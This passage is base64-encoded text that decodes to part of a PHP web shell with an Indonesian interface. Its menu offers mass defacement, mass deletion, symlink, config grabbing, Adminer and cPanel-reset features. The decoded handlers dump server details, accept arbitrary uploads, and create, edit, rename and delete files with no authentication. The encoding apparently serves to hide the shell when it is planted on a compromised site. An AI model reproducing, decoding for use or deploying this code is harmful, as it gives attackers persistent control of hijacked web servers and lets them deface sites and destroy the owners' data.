F5OiBub25lOw0KCQkJfQ0KCQkJaW5wdXRbdHlwZT0ncmFkaW8nXS50b2dnbGUgKyBsYWJlbCB7DQoJCQkJY3Vyc29yOiBwb2ludGVyOw0KCQkJCW1hcmdpbjogMCAycHg7DQoJCQkJd2lkdGg6IDYwcHg7DQoJCQl9DQoJCQlpbnB1dFt0eXBlPSdyYWRpbyddLnRvZ2dsZSArIGxhYmVsOmFmdGVyIHsNCgkJCQlwb3NpdGlvbjogYWJzb2x1dGU7DQoJCQkJY29udGVudDogJyc7DQoJCQkJdG9wOiAwOw0KCQkJCWJhY2tncm91bmQ6ICNmZmY7DQoJCQkJaGVpZ2h0OiAxMDAlOw0KCQkJCXdpZHRoOiAxMDAlOw0KCQkJCXotaW5kZXg6IC0xOw0KCQkJCS13ZWJraXQtdHJhbnNpdGlvbjogbGVmdCA0MDBtcyBjdWJpYy1iZXppZXIoMC43NywgMCwgMC4xNzUsIDEpOw0KCQkJCXRyYW5zaXRpb246IGxlZnQgNDAwbXMgY3ViaWMtYmV6aWVyKDAuNzcsIDAsIDAuMTc1LCAxKTsNCgkJCX0NCgkJCWlucHV0W3R5cGU9J3JhZGlvJ10udG9nZ2xlLnRvZ2dsZS1sZWZ0ICsgbGFiZWw6YWZ0ZXIgew0KCQkJCWxlZnQ6IDEwMCU7DQoJCQl9DQoJCQlpbnB1dFt0eXBlPSdyYWRpbyddLnRvZ2dsZS50b2dnbGUtcmlnaHQgKyBsYWJlbCB7DQoJCQkJbWFyZ2luLWxlZnQ6IC01cHg7DQoJCQl9DQoJCQlpbnB1dFt0eXBlPSdyYWRpbyddLnRvZ2dsZS50b2dnbGUtcmlnaHQgKyBsYWJlbDphZnRlciB7DQoJCQkJbGVmdDogLTEwMCU7DQoJCQl9DQoJCQlpbnB1dFt0eXBlPSdyYWRpbyddLnRvZ2dsZTpjaGVja2VkICsgbGFiZWwgew0KCQkJCWN1cnNvcjogZGVmYXVsdDsNCgkJCQljb2xvcjogIzAwMDsNCgkJCQktd2Via2l0LXRyYW5zaXRpb246IGNvbG9yIDQwMG1zOw0KCQkJCXRyYW5zaXRpb246IGNvbG9yIDQwMG1zOw0KCQkJfQ0KCQkJaW5wdXRbdHlwZT0ncmFkaW8nXS50b2dnbGU6Y2hlY2tlZCArIGxhYmVsOmFmdGVyIHsNCgkJCQlsZWZ0OiAwOw0KCQkJfQ0KCQk8L3N0eWxlPg0KCQk8bmF2IGNsYXNzPSduYXZiYXIgc3RhdGljLXRvcCBuYXZiYXItZGFyayc+DQoJCQk8YnV0dG9uIGNsYXNzPSduYXZiYXItdG9nZ2xlcid0eXBlPSdidXR0b24nIGRhdGEtdG9nZ2xlPSdjb2xsYXBzZScgZGF0YS10YXJnZXQ9JyNpbmZvJz4NCgkJCQk8aSBzdHlsZT0nY29sb3I6I2ZmZjsnIGNsYXNzPSdmYSBmYS11c2VyJz48L2k+DQoJCQk8L2J1dHRvbj4NCgkJCTxkaXYgY2xhc3M9J2NvbGxhcHNlIG5hdmJhci1jb2xsYXBzZScgaWQ9J2luZm8nPg0KCQkJCTxkaXYgY2xhc3M9J3RhYmxlLXJlc3BvbnNpdmUtbGcnPg0KCQkJCTx1bD4NCgkJCQkJPGEgaHJlZj0nPycgY2xhc3M9J2ZpdHVyZSBidG4gYnRuLXByaW1hcnkgYnRuLXNtIGJ0bi1ibG9jayBtYi0yJz48aSBjbGFzcz0nZmEgZmEtaG9tZSc+PC9pPiBIb21lPC9hPg0KCQkJCQk8ZGl2IGNsYXNzPSdyb3cnPg0KCTxkaXYgY2xhc3M9J2NvbCc+DQoJCTxhIGhyZWY9Jz9kaXI9JGRpciZha3NpPXVwbG9hZCcgY2xhc3M9J2ZpdHVyZSBidG4gYnRuLWRhbmdlciBidG4tc20gYnRuLWJsb2NrJz48aSBjbGFzcz0nZmEgZmEtdXBsb2FkJz48L2k+IFVwbG9hZDwvYT4NCgk8L2Rpdj4NCgk8ZGl2IGNsYXNzPSdjb2wnPg0KCQk8YSBocmVmPSc/ZGlyPSRkaXImYWtzaT1idWF0X2ZpbGUnIGNsYXNzPSdmaXR1cmUgYnRuIGJ0bi1kYW5nZXIgYnRuLXNtIGJ0bi1ibG9jayc+PGkgY2xhc3M9J2ZhIGZhLXBsdXMtY2lyY2xlJz48L2k+IEJ1YXQgRmlsZTwvYT4NCgk8L2Rpdj4NCgk8ZGl2IGNsYXNzPSdjb2wnPg0KCQk8YSBocmVmPSc/ZGlyPSRkaXImYWtzaT1idWF0X2ZvbGRlcicgY2xhc3M9J2ZpdHVyZSBidG4gYnRuLWRhbmdlciBidG4tc20gYnRuLWJsb2NrJz48aSBjbGFzcz0nZmEgZmEtcGx1cyc+PC9pPiBCdWF0IEZvbGRlcjwvYT4NCgk8L2Rpdj4NCjwvZGl2Pg0KPGRpdiBjbGFzcz0ncm93Jz4NCgk8ZGl2IGNsYXNzPSdjb2wnPg0KCQk8YSBocmVmPSc/ZGlyPSRkaXImYWtzaT1NYXNzRGVmYWNlJyBjbGFzcz0nZml0dXJlIGJ0biBidG4tZGFuZ2VyIGJ0bi1zbSBidG4tYmxvY2snPjxpIGNsYXNzPSdmYSBmYS1leGNsYW1hdGlvbi10cmlhbmdsZSc+PC9pPiBNYXNzIERlZmFjZTwvYT4NCgk8L2Rpdj4NCgk8ZGl2IGNsYXNzPSdjb2wnPg0KCQk8YSBocmVmPSc/ZGlyPSRkaXImYWtzaT1NYXNzRGVsbGV0ZScgY2xhc3M9J2ZpdHVyZSBidG4gYnRuLWRhbmdlciBidG4tc20gYnRuLWJsb2NrJz48aSBjbGFzcz0nZmEgZmEtdHJhc2gnPjwvaT4gTWFzcyBEZWxldGU8L2E+DQoJPC9kaXY+DQoJPGRpdiBjbGFzcz0nY29sJz4NCgkJPGEgaHJlZj0nP2Rpcj0kZGlyJmFrc2k9anVtcGluZycgY2xhc3M9J2ZpdHVyZSBidG4gYnRuLWRhbmdlciBidG4tc20gYnRuLWJsb2NrJz48aSBjbGFzcz0nZmEgZmEtZXhjbGFtYXRpb24tdHJpYW5nbGUnPjwvaT4gSnVtcGluZzwvYT4NCgk8L2Rpdj4NCjwvZGl2Pg0KPGRpdiBjbGFzcz0ncm93Jz4NCgk8ZGl2IGNsYXNzPSdjb2wnPg0KCQk8YSBocmVmPSc/ZGlyPSRkaXImYWtzaT1jb25maWcnIGNsYXNzPSdmaXR1cmUgYnRuIGJ0bi1kYW5nZXIgYnRuLXNtIGJ0bi1ibG9jayc+PGkgY2xhc3M9J2ZhIGZhLWNvZ3MnPjwvaT4gQ29uZmlnPC9hPg0KCTwvZGl2Pg0KCTxkaXYgY2xhc3M9J2NvbCc+DQoJCTxhIGhyZWY9Jz9kaXI9JGRpciZha3NpPWFkbWluZXInIGNsYXNzPSdmaXR1cmUgYnRuIGJ0bi1kYW5nZXIgYnRuLXNtIGJ0bi1ibG9jayc+PGkgY2xhc3M9J2ZhIGZhLXVzZXInPjwvaT4gQWRtaW5lcjwvYT4NCgk8L2Rpdj4NCgk8ZGl2IGNsYXNzPSdjb2wnPg0KCQk8YSBocmVmPSc/ZGlyPSRkaXImYWtzaT1zeW1saW5rJyBjbGFzcz0nZml0dXJlIGJ0biBidG4tZGFuZ2VyIGJ0bi1zbSBidG4tYmxvY2snPjxpIGNsYXNzPSdmYSBmYS1leGNsYW1hdGlvbi1jaXJjbGUnPjwvaT4gU3ltbGluazwvYT4NCgk8L2Rpdj4NCjwvZGl2Pg0KPGRpdiBjbGFzcz0ncm93Jz4NCgk8ZGl2IGNsYXNzPSdjb2wnPg0KCQk8YSBocmVmPSc/ZGlyPSRkaXImYWtzaT1DcGFuZWxSZXNldCcgY2xhc3M9J2ZpdHVyZSBidG4gYnRuLWRhbmdlciBidG4tc20gYnRuLWJsb2NrJz48aSBjbGFzcz0nZmEgZmEta2V5Jz48L2k+IEF1dG8gUmVzZXQgQ3BhbmVsPC9hPg0KCTwvZGl2Pg0KCTxkaXYgY2xhc3M9J2NvbCc+DQoJCTxhIGhyZWY9Jz9rZWx1YXInIGNsYXNzPSdmaXR1cmUgYnRuIGJ0bi13YXJuaW5nIGJ0bi1zbSBidG4tYmxvY2snPjxpIGNsYXNzPSdmYSBmYS1zaWduLW91dCc+PC9pPiBrZWx1YXI8L2E+DQoJPC9kaXY+DQo8L2Rpdj4NCjxhIGhyZWY9Jz9kaXI9JGRpciZha3NpPUluZm9TZXJ2ZXInIGNsYXNzPSdmaXR1cmUgYnRuIGJ0bi1pbmZvIGJ0bi1zbSBidG4tYmxvY2sgbXQtMic+SW5mbyBTZXJ2ZXI8L2E+DQoJCQkJPC91bD4NCgkJCQk8L2Rpdj4NCgkJCTwvZGl2Pg0KCQk8L25hdj4NCgkJPGRpdiBjbGFzcz0nJz4NCgkJCTxoMSBjbGFzcz0ndGV4dC1jZW50ZXInPjxhIGhyZWY9JyMnPlsgISBdIEpBTkdBTiBHQU5HR1UgWyAhIF08L2gxPg0KCQkJPGNlbnRlcj48cD5LYWxhdSBNYXUgSXBob25lLCBUYXUgS2FuIEhhcnVzIE5nYXBhaW48L2E+PC9wPjwvY2VudGVyPg0KCQkJPGhyLz4iOw0KCQkvL2tlbHVhcg0KCQlpZiAoaXNzZXQoJF9HRVRbJ2tlbHVhciddKSkgew0KCQkJc2Vzc2lvbl9zdGFydCgpOw0KCQkJc2Vzc2lvbl9kZXN0cm95KCk7DQoJCQllY2hvICc8c2NyaXB0PndpbmRvdy5sb2NhdGlvbj0iPyI7PC9zY3JpcHQ+JzsNCgkJfQ0KCQkNCgkJLy8gSW5mbyBTZXJ2ZXINCgkJaWYoJF9HRVRbJ2Frc2knXSA9PSAnSW5mb1NlcnZlcicpew0KCQkJZWNobyAnDQoJPGRpdiBjbGFzcz0iYWxlcnQgYWxlcnQtaW5mbyBtdC0zIj4NCgkJPGgzIGNsYXNzPSJ0ZXh0LWNlbnRlciI+SW5mb3JtYXNpIFNlcnZlcjwvaDM+PGhyPg0KCQk8bGk+TmFtYSBTZXJ2ZXIgOiAnLiRfU0VSVkVSWyJTRVJWRVJfTkFNRSJdLic8L2xpPg0KCQk8bGk+SXAgQWRkcmVzcyA6ICcuJF9TRVJWRVJbIlNFUlZFUl9BRERSIl0uJzwvbGk+DQoJCTxsaT5Qb3J0IDogJy4kX1NFUlZFUlsiU0VSVkVSX1BPUlQiXS4nPC9saT4NCgkJPGxpPkhERCA6ICcuJHVzZWQuJyAvICcuJHRvdGFsLic8L2ZvbnQ+ICggRnJlZTogJy4kZnJlZS4nICk8L2xpPg0KCQk8bGk+UHJvdG9rb2wgOiAnLiRfU0VSVkVSWyJTRVJWRVJfUFJPVE9DT0wiXS4nPC9saT4NCgkJPGxpPlNhdmUgRGF0YSA6ICcuJF9TRVJWRVJbIkhUVFBfU0FWRV9EQVRBIl0uJzwvbGk+DQoJCTxsaT5TYXZlIE1vZGUgOiAnLiRzbS4nPC9saT4NCgkJPGxpPkZ1bmdzaSBOb25ha3RpZiA6ICcuJHNob3dfZHMuJzwvbGk+DQoJCTxsaT5Lb25la3NpIDogJy4kX1NFUlZFUlsiSFRUUF9DT05ORUNUSU9OIl0uJzwvbGk+DQoJCTxsaT5Tb2Z0d2FyZSA6ICcuJF9TRVJWRVJbIlNFUlZFUl9TT0ZUV0FSRSJdLic8L2xpPg0KCQk8bGk+RG9rdW1lbiBSb290IDogJy4kX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdLic8L2xpPg0KCQk8bGk+Ry1JbnRlcmZhY2UgOiAnLiRfU0VSVkVSWyJHQVRFV0FZX0lOVEVSRkFDRSJdLic8L2xpPg0KCQk8bGk+Ui1NZXRob2QgOiAnLiRfU0VSVkVSWyJSRVFVRVNUX01FVEhPRCJdLic8L2xpPg0KCQk8bGk+TXlzcWwgOiAnLiRteXNxbC4nPC9saT4NCgkJPGxpPlBlcmwgOiAnLiRwZXJsLic8L2xpPg0KCQk8bGk+V2dldCA6ICcuJHdnZXQuJzwvbGk+DQoJCTxsaT5DdXJsIDogJy4kY3VybC4nPC9saT4NCgkJPGxpPlNpc3RlbSBTZXJ2ZXIgOiAnLiRrZXJuZWwuJzwvbGk+DQoJCTxocj4NCgkJPGxpPllvdXIgSVA6ICcuJF9TRVJWRVJbIlJFTU9URV9BRERSIl0uJzwvbGk+DQoJCTxsaT5Zb3VyIEJyb3dzZXIgOiAnLiRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXS4nPC9saT4NCgkJPC9kaXY+JzsNCgkJfQ0KCQkNCgkJLy91cGxvYWQNCgkJaWYgKCRfR0VUWydha3NpJ10gPT0gJ3VwbG9hZCcpIHsNCgkJCWVjaG8gDQoJCQkJIjxmb3JtIG1ldGhvZD0ncG9zdCcgZW5jdHlwZT0nbXVsdGlwYXJ0L2Zvcm0tZGF0YScgbmFtZT0ndXBsb2FkZXInIGlkPSd1cGxvYWRlcic+DQoJCQkJCTxkaXYgY2xhc3M9J2Zvcm0tZ3JvdXAnPg0KCQkJCQkJPGxhYmVsPlVwbG9hZCBGaWxlOiA8L2xhYmVsPjxicj4NCgkJCQkJCTxpbnB1dCBjbGFzcz0nJyB0eXBlPSdmaWxlJyBuYW1lPSdmaWxlJz4NCgkJCQkJPC9kaXY+DQoJCQkJCTxkaXYgY2xhc3M9J2Zvcm0tZ3JvdXAnPg0KCQkJCQkJPGlucHV0IGNsYXNzPSdidG4gYnRuLXByaW1hcnkgYnRuLXNtJyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdVcGxvYWQnPg0KCQkJCQk8L2Rpdj4NCgkJCQk8L2Zvcm0+IjsNCgkJDQoJCQlpZihpc3NldCgkX0ZJTEVTWydmaWxlJ10pKXsNCgkJCQlpZihAY29weSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sJGRpci4nLycuJF9GSUxFU1snZmlsZSddWyduYW1lJ10pKXsNCgkJCQkJZWNobyAnPHNjcmlwdD53aW5kb3cubG9jYXRpb249Ij9kaXI9Jy4kZGlyLiciOyBhbGVydCgiVXBsb2FkIEJlcmhhc2lsIik7PC9zY3JpcHQ+JzsNCgkJCQl9ZWxzZXsNCgkJCQkJZWNobyAnPHNjcmlwdD5hbGVydCgiR2FnYWwgVXBsb2FkISEhIik7PC9zY3JpcHQ+JzsNCgkJCQl9DQoJCQl9DQoJCX0NCg0KCQkvL29wZW5maWxlDQoJCWlmIChpc3NldCgkX0dFVFsnZGlyZiddKSkgew0KCQkJJGZpbGUgPSAkX0dFVFsnZGlyZiddOw0KCQl9DQoJCQkNCgkJLy9idWF0X2ZpbGUNCgkJaWYgKCRfR0VUWydha3NpJ10gPT0gJ2J1YXRfZmlsZScpIHsNCgkJCQ0KCQkJJG91dHB1dCA9ICINCgkJCTxmb3JtIG1ldGhvZD0ncG9zdCc+DQoJCQkJPGlucHV0IHR5cGU9J3RleHQnIGNsYXNzPSdmb3JtLWNvbnRyb2wgbWItMycgbmFtZT0nbmFtYV9maWxlJyBwbGFjZWhvbGRlcj0nTmFtYSBGaWxlJz4NCgkJCQk8dGV4dGFyZWEgbmFtZT0naXNpX2ZpbGUnIGNsYXNzPSdmb3JtLWNvbnRyb2wgbWItMycgcm93cz0nOCcgcGxhY2Vob2xkZXI9J0lzaSBGaWxlJz48L3RleHRhcmVhPg0KCQkJCTxidXR0b24gdHlwZT0nc3VtYml0JyBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLXByaW1hcnkgYnRuLWJsb2NrJyBuYW1lPSdiaWtpbic+QnVhdDwvYnV0dG9uPjxici8+DQoJCQk8L2Zvcm0+IjsNCgkJCWVjaG8gJG91dHB1dDsNCgkJDQoJCQlpZiAoaXNzZXQoJF9QT1NUWydiaWtpbiddKSkgew0KCQkJCSRuYW1hX2ZpbGUgCT0gJF9QT1NUWyduYW1hX2ZpbGUnXTsNCgkJCQkkaXNpX2ZpbGUgCT0gJF9QT1NUWydpc2lfZmlsZSddOw0KCQkJCSRoYW5kbGUgCT0gZm9wZW4oIiRuYW1hX2ZpbGUiLCAidyIpOw0KDQoJCQkJaWYgKGZ3cml0ZSgkaGFuZGxlLCAkaXNpX2ZpbGUpKSB7DQoJCQkJCWVjaG8gJzxzY3JpcHQ+d2luZG93LmxvY2F0aW9uPSI/ZGlyPScuJGRpci4nIjsgYWxlcnQoIkJ1YXQgRmlsZSBCZXJoYXNpbCIpOzwvc2NyaXB0Pic7DQoJCQkJfWVsc2V7IA0KCQkJCQllY2hvICc8c2NyaXB0PigiRmlsZSBHYWdhbCBEaWJ1YXQiKTs8L3NjcmlwdD4nOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCQkNCgkJLyoNCgkJCVZpZXcNCgkJKi8NCgkJaWYoJF9HRVRbJ2Frc2knXSA9PSAndmlldycpIHsNCgkJCWVjaG8gJzxjZW50ZXI+WyA8YSBocmVmPSI/ZGlyPScuJHBhdGguJyZha3NpPXZpZXcmZGlyZj0nLiRmaWxlLiciPkxpaGF0PC9hPiBdICANCgkJCVsgPGEgaHJlZj0iP2Rpcj0nLiRwYXRoLicmYWtzaT1lZGl0JmRpcmY9Jy4kZmlsZS4nIj5FZGl0PC9hPiBdICANCgkJCVsgPGEgaHJlZj0iP2Rpcj0nLiRwYXRoLicmYWtzaT1oYXB1c2YmZGlyZj0nLiRmaWxlLiciPkRlbGV0ZTwvYT4gXTwvY2VudGVyPic7DQoJCQllY2hvICINCgkJCTx0ZXh0YXJlYSByb3dzPScxNicgY2xhc3M9J2Zvcm0tY29udHJvbCBtdC0zJyBkaXNhYmxlZD0nJz4iLmh0bWxzcGVjaWFsY2hhcnMoZmlsZV9nZXRfY29udGVudHMoJGZpbGUpKS4iPC90ZXh0YXJlYT4NCgkJCTxici8+PGJyLz4iOw0KCQl9DQoJCQ0KCQkvKg0KCQkJRWRpdA0KCQkqLw0KCQlpZigkX0dFVFsnYWtzaSddID09ICdlZGl0Jykgew0KCQkJJG5hbWEgPSBiYXNlbmFtZSgkZmlsZSk7DQoJCQllY2hvICc8Y2VudGVyPlsgPGEgaHJlZj0iP2Rpcj0nLiRwYXRoLicmYWtzaT12aWV3JmRpcmY9Jy4kZmlsZS4nIj5MaWhhdDwvYT4gXSAgWyA8YSBocmVmPSI/ZGlyPScuJGRpci4nJmFrc2k9cmVuYW1lJmRpcmY9Jy4kZmlsZS4nIj5VYmFoIE5hbWE8L2E+IF0gIA0KCQkJWyA8YSBocmVmPSI/ZGlyPScuJHBhdGguJyZha3NpPWhhcHVzZiZkaXJmPScuJGZpbGUuJyI+RGVsZXRlPC9hPiBdPC9jZW50ZXI+PGhyPic7DQoJCQllY2hvICI8Zm9ybSBtZXRob2Q9J3Bvc3QnIGNsYXNzPSdtdC0zJz4NCgkJCQk8cCBjbGFzcz0nbWwtMic+PGkgY2xhc3M9J2ZhIGZhLWZpbGUnPjwvaT4gJG5hbWE8L3A+DQoJCQkJPHRleHRhcmVhIHJvd3M9JzE2JyBjbGFzcz0nZm9ybS1jb250cm9sIG1iLTMnIG5hbWU9J2lzaSc+Ii5odG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKSkuIjwvdGV4dGFyZWE+DQoJCQkJCTxidXR0b24gdHlwZT0nc3VtYml0JyBjbGFzcz0nYnRuIGJ0bi1pbmZvIGJ0bi1ibG9jaycgbmFtZT0nZWRpdF9maWxlJz5VYmFoPC9idXR0b24+DQoJCQk8L2Zvcm0+PGJyLz4iOw0KCQkJDQoJCQlpZihpc3NldCgkX1BPU1RbJ2VkaXRfZmlsZSddKSkgew0KCQkJCSR1cGR0ID0gZm9wZW4oIiRmaWxlIiwgInciKTsNCgkJCQkkaGFzaWwgPSBmd3JpdGUoJHVwZHQsICRfUE9TVFsnaXNpJ10pOw0KCQkJCQ0KCQkJCWlmICgkaGFzaWwpIHsNCgkJCQkJZWNobyAnPHNjcmlwdD53aW5kb3cubG9jYXRpb249Ij9kaXI9Jy4kZGlyLiciOyBhbGVydCgiQmVyaGFzaWwgTWVuZ3ViYWggSXNpIEZpbGUiKTs8L3NjcmlwdD4nOw0KCQkJCX1lbHNlew0KCQkJCQllY2hvICc8c2NyaXB0PmFsZXJ0KCJHYWdhbCBNZW5ndWJhaCBJc2kgRmlsZSIpOzwvc2NyaXB0Pic7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJCQ0KCQkvKg0KCQkJVWJhaCBOYW1hDQoJCSovDQoJCWlmKCRfR0VUWydha3NpJ10gPT0gJ3JlbmFtZScpIHsNCgkJCSRuYW1hID0gYmFzZW5hbWUoJGZpbGUpOw0KCQkJZWNobyAnPGNlbnRlcj5bIDxhIGhyZWY9Ij9kaXI9Jy4kcGF0aC4nJmFrc2k9ZWRpdCZkaXJmPScuJGZpbGUuJyI+S2VtYmFsaTwvYT4gXTwvY2VudGVyPic7DQoJCQllY2hvICI8Zm9ybSBtZXRob2Q9J3Bvc3QnIGNsYXNzPSdtdC0zJz4NCgkJCQk8cCBjbGFzcz0nbWwtMic+PGkgY2xhc3M9J2ZhIGZhLWZpbGUnPjwvaT4gJG5hbWE8L3A+DQoJCQkJPGlucHV0IHR5cGU9J3RleHQnIGNsYXNzPSdmb3JtLWNvbnRyb2wnIG5hbWU9J25hbWFuZXcnIHBsYWNlaG9sZGVyPSdNYXN1a2FuIE5hbWEgQmFydS4uLic+PGJyLz4NCgkJCQk8YnV0dG9uIHR5cGU9J3N1bWJpdCcgY2xhc3M9J2J0biBidG4taW5mbyBidG4tYmxvY2snIG5hbWU9J3JlbmFtZV9maWxlJz5VcGRhdGU8L2J1dHRvbj48YnIvPg0KCQkJPC9mb3JtPjxici8+IjsNCgkJDQoJCQlpZihpc3NldCgkX1BPU1RbJ3JlbmFtZV9maWxlJ10pKSB7DQoJCQkJJGxhbWEgPSAkZmlsZTsNCgkJCQkkYmFydSA9ICRfUE9TVFsnbmFtYW5ldyddOw0KCQkJCXJlbmFtZSggJGJhcnUsICRsYW1hKTsNCgkJCQlpZihmaWxlX2V4aXN0cygkYmFydSkpIHsNCgkJCQkJZWNobyAnPHNjcmlwdD5hbGVydCgiTmFtYSAnLiRiYXJ1LicgVGVsYWggRGlndW5ha2FuIik7PC9zY3JpcHQ+JzsNCgkJCQl9ZWxzZXsNCgkJCQkJaWYocmVuYW1lKCAkbGFtYSwgJGJhcnUpKSB7DQoJCQkJCQllY2hvICc8c2NyaXB0PndpbmRvdy5sb2NhdGlvbj0iP2Rpcj0nLiRkaXIuJyI7IGFsZXJ0KCJTdWtzZXMgTWVuZ2dhbnRpIE5hbWEgTWVuamFkaSAnLiRiYXJ1LiciKTs8L3NjcmlwdD4nOw0KCQkJCQl9ZWxzZXsNCgkJCQkJCWVjaG8gJzxzY3JpcHQ+YWxlcnQoIkdhZ2FsIE1lbmdnYW50aSBOYW1hIik7PC9zY3JpcHQ+JzsNCgkJCQkJfQ0KCQkJCX0NCgkJCX0NCgkJfQ0KCQkNCgkJLyoNCgkJCURlbGV0ZSBGaWxlDQoJCSovDQoJCWlmICgkX0dFVFsnYWtzaSddID09ICdoYXB1c2YnKSB7DQoJCQkkbmFtYSA9IGJhc2VuYW1lKCRmaWxlKTsNCgkJCWVjaG8gJzxjZW50ZXI+DQoJCQlbIDxhIGhyZWY9Ij9kaXI9Jy4kcGF0aC4nJmFrc2k9dmlldyZkaXJmPScuJGZpbGUuJyI+TGloYXQ8L2E+IF0gIA0KCQkJWyA8YSBocmVmPSI/ZGlyPScuJHBhdGguJyZha3NpPWVkaXQmZGlyZj0nLiRmaWxlLiciPkVkaXQ8L2E+IF0gIA0KCQkJWyA8YSBocmVmPSI/ZGlyPScuJGRpci4nJmFrc2k9cmVuYW1lJmRpcmY9Jy4kZmlsZS4nIj5VYmFoIE5hbWE8L2E+IF08L2NlbnRlcj4nOw0KCQkJJG91dHB1dCA9Ig0KCQkJPGRpdiBjbGFzcz0nJz4NCgkJCQk8Y2VudGVyPjxici8+DQoJCQkJCTxmb250IGNvbG9yPSd3aGl0ZSc+WWFraW4gSW5naW4gTWVuZ2hhcHVzIEZpbGUgOiAkbmFtYQ0KCQkJCTwvY2VudGVyPjxici8+PGJyLz4NCgkJCQk8Zm9ybSBtZXRob2Q9J3Bvc3QnPg0KCQkJCTxkaXYgY2xhc3M9J3Jvdyc+DQoJCQkJPGRpdiBjbGFzcz0nY29sJz4NCgkJCQk8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSd5YScgY2xhc3M9J2Zsb2F0LXJpZ2h0IGJ0biBidG4tc3VjY2VzcyBidG4tc3VjY2VzcyBidG4tYmxvY2snIHZhbHVlPSdZYSc+DQoJCQkJCTwvZGl2Pg0KCQkJCQk8ZGl2IGNsYXNzPSdjb2wnPg0KCQkJCQk8YSBjbGFzcz0nYnRuIGJ0bi1kYW5nZXIgYnRuLWJsb2NrJyBocmVmPSc/ZGlyPSRkaXInPlRpZGFrPC9hPg0KCQkJCQk8L2Rpdj4NCgkJCQkJPC9kaXY+DQoJCQkJPC9mb3JtPg0KCQkJPC9kaXY+PGJyLz4iOw0KCQkJZWNobyAkb3V0cHV0Ow0KCQkJDQoJCQlpZiAoJF9QT1NUWyd5YSddKSB7DQoJCQkJJGhhcHVzID0gdW5saW5rKCRmaWxlKTsNCgkJCQlpZiAoJGhhcHVzKSB7DQoJCQkJCWVjaG8gJzxzY3JpcHQ+d2luZG93LmxvY2F0aW9uPSI/ZGlyPScuJGRpci4nIjsgYWxlcnQoIkJlcmhhc2lsIE1lbmdoYXB1cyBGaWxlIik7PC9zY3JpcHQ+JzsNCgkJCQl9ZWxzZXsNCgkJCQkJZWNobyAnPHNjcmlwdD5hbGVydCgiR2FnYWwgTWVuZ2hhcHVzIEZpbGUhIik7PC9zY3JpcHQ+JzsNCgkJCQl9DQoJCQl9DQoJCX0NCgkJDQoJCS8qDQoJCQlBZGQgRm9sZGVyDQoJCSovDQoJCWlmICgkX0dFVFsnYWtzaSddID09ICdidWF0X2ZvbGRlcicgKSB7DQoJCQkkb3V0cHV0ID0gIg0KCQkJPGZvcm0gbWV0aG9kPSdwb3N0Jz4NCgkJCQk8aW5wdXQgdHlwZT0ndGV4dCcgY2xhc3M9J2Zvcm0tY29udHJvbCBtYi00JyBuYW1lPSduYW1hX2ZvbGRlcicgcGxhY2Vob2xkZXI9J05hbWEgRm9sZGVyJz4NCgkJCQk8YnV0dG9uIHR5cGU9J3N1bWJpdCcgY2xhc3M9J2J0biBidG4tb3V0bGluZS1wcmltYXJ5IGJ0bi1ibG9jaycgbmFtZT0nYnVhdCc+QnVhdDwvYnV0dG9uPjxici8+DQoJCQk8L2Zvcm0+IjsNCgkJCWVjaG8gJG91dHB1dDsNCgkJDQoJCQlpZiAoaXNzZXQoJF9QT1NUWydidWF0J10pKSB7DQoJCQkJJG5hbWFfZm9sZGVyID0gJF9QT1NUWyduYW1hX2ZvbGRlciddOw0KCQkJCSRmb2xkZXIgPSBwcmVnX3JlcGxhY2UoIihbXlx3XHNcZFwtX34sOzpcW1xdXChcXS5dfFtcLl17Mix9KSIsICcnLCAkX1BPU1RbIm5hbWFfZm9sZGVyIl0pOw0KCQkJCSRmZCA9IG1rZGlyICgkZm9sZGVyKTsNCgkJCQlpZiAoJGZkKSB7DQoJCQkJCWVjaG8gJzxzY3JpcHQ+d2luZG93LmxvY2F0aW9uPSI/ZGlyPScuJGRpci4nIjsgYWxlcnQoIkJlcmhhc2lsIE1lbWJ1YXQgRm9sZGVyIik7PC9zY3JpcHQ+JzsNCgkJCQl9ZWxzZXsNCgkJCQkJZWNobyAiZWNobyAnPHNjcmlwdD4gYWxlcnQoJ0ZvbGRlciAiLiRmb2xkZXIuIiBHYWdhbCBEaWJ1YXQnKTs8L3NjcmlwdD4iOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCQkNCgkJLyoNCgkJCURlbGV0ZSBGb2xkZXINCgkJKi8NCgkJaWYgKCRfR0VUWydha3NpJ10gPT0gJ2hhcHVzX2ZvbGRlcicgKSB7DQoJCQkkbmFtYSA9IGJhc2VuYW1lKGdldGN3ZCgpKTsNCgkJCSRvdXRwdXQgPSINCgkJCTxjZW50ZXI+WyA8YSBocmVmPSc/ZGlyPSIuJGRpci4iJmFrc2k9cmVuYW1lX2ZvbGRlcic+VWJhaCBOYW1hPC9hPiBdICBbIDxhIGhyZWY9Jz9kaXI9Ii4kZGlyLiImYWtzaT1oYXB1c19mb2xkZXInPkRlbGV0ZTwvYT4gXTwvY2VudGVyPiANCgkJCTxkaXYgY2xhc3M9J2NvbnRhaW5lcic+DQoJCQkJPGNlbnRlcj48YnIvPg0KCQkJCQk8Zm9udCBjb2xvcj0nd2hpdGUnPllha2luIEluZ2luIE1lbmdoYXB1cyBGb2xkZXIgOiAkbmFtYSA/DQoJCQkJPC9jZW50ZXI+PGJyLz48YnIvPg0KCQkJCTxmb3JtIG1ldGhvZD0ncG9zdCc+DQoJCQkJPGRpdiBjbGFzcz0ncm93Jz4NCgkJCQk8ZGl2IGNsYXNzPSdjb2wnPg0KCQkJCQk8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSd5YScgY2xhc3M9J2Zsb2F0LXJpZ2h0IGJ0biBidG4tc3VjY2VzcyBidG4tYmxvY2snIHZhbHVlPSdJeWEnPg0KCQkJCQk8L2Rpdj4NCgkJCQkJPGRpdiBjbGFzcz0nY29sJz4NCgkJCQkJPGEgY2xhc3M9J2J0biBidG4tZGFuZ2VyIGJ0bi1ibG9jaycgaHJlZj0nP2Rpcj0iLmRpcm5hbWUoJGRpcikuIic+VGlkYWs8L2E+DQoJCQkJCTwvZGl2Pg0KCQkJCQk8L2Rpdj4NCgkJCQk8L2Zvcm0+DQoJCQk8L2Rpdj48YnIvPiI7DQoJC